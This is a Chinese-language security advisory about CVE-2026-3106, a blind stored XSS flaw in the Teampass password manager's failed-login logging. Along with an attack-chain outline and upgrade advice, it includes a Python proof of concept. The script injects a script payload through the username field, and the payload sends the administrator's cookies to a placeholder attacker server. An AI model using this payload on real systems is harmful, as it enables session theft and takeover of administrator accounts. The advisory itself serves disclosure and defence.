IPBUF安全漏洞报告
English
CVE-2026-3106 CVSS 5.4 中危

CVE-2026-3106 Teampass 盲型跨站脚本漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-3106
漏洞类型
跨站脚本 (XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Teampass

相关标签

XSSBlind XSSTeampassCWE-79Web安全

漏洞概述

Teampass 3.1.5.16之前版本存在盲型跨站脚本(XSS)漏洞。该漏洞位于密码管理器的登录功能中,由于应用程序在身份验证失败时未对用户输入的用户名字段进行适当的清理或编码,导致恶意代码被存储。当管理员查看失败的登录条目时,攻击者注入的任意JavaScript代码将在管理员浏览器中自动执行。

技术细节

该漏洞属于存储型盲跨站脚本攻击。漏洞触发点位于Teampass的登录模块,具体涉及'redacted/index.php'登录表单的处理逻辑。当攻击者向系统发送包含恶意JavaScript代码的登录请求时,由于应用程序缺乏对输入数据的有效过滤,且在输出日志时未进行HTML实体编码,这些恶意载荷会被持久化存储在服务器的失败登录日志中。当管理员随后登录后台并访问“查看失败登录条目”的页面时,存储的恶意脚本将在管理员浏览器上下文中解析并执行。由于是盲XSS,攻击者无需直接与受害者交互,只需等待管理员查看日志即可。攻击者利用此漏洞可窃取管理员的Session ID、Cookies等敏感凭证,进而接管管理员账户,执行任意管理操作,甚至以此为跳板攻击内网其他系统。CVSS评分5.4(中危)反映了其需要低权限和用户交互的特性,但鉴于其针对高权限管理员,潜在危害较大。

攻击链分析

STEP 1
侦察
攻击者确定目标使用的是存在漏洞的Teampass版本(< 3.1.5.16)。
STEP 2
武器化
攻击者构造用于窃取会话凭证的恶意JavaScript Payload。
STEP 3
交付
攻击者向Teampass登录页面发送POST请求,将Payload注入到用户名字段中,故意使用错误密码触发认证失败。
STEP 4
利用
应用程序将未经过滤的输入记录到失败登录日志中。
STEP 5
触发
管理员登录后台并查看“失败的登录条目”页面,恶意脚本在管理员浏览器中加载并执行。
STEP 6
达成目标
攻击者的服务器接收到管理员Cookie,攻击者利用劫持的会话接管管理员账户。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target-teampass-url/index.php" attacker_server = "http://attacker-controlled-server/collect" # Malicious payload to steal admin cookies # This payload will execute when the admin views the failed login logs xss_payload = f"<img src=x onerror=fetch('{attacker_server}?c='+document.cookie)>" # The vulnerable parameter is the username field (often named 'login' or similar) # which gets logged upon failed authentication. payload_data = { "login": xss_payload, "pw": "invalid_password", "stay_connected": "" } try: print("[*] Sending malicious payload to trigger failed login logging...") response = requests.post(target_url, data=payload_data) if response.status_code == 200: print("[+] Payload sent successfully.") print("[*] Waiting for administrator to view the failed login entries...") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Teampass < 3.1.5.16

防御指南

临时缓解措施
建议立即升级至官方修复版本。在无法立即升级的情况下,应限制管理员对失败登录日志的访问权限,并部署Web应用防火墙(WAF)规则以检测和拦截包含恶意脚本字符的登录请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表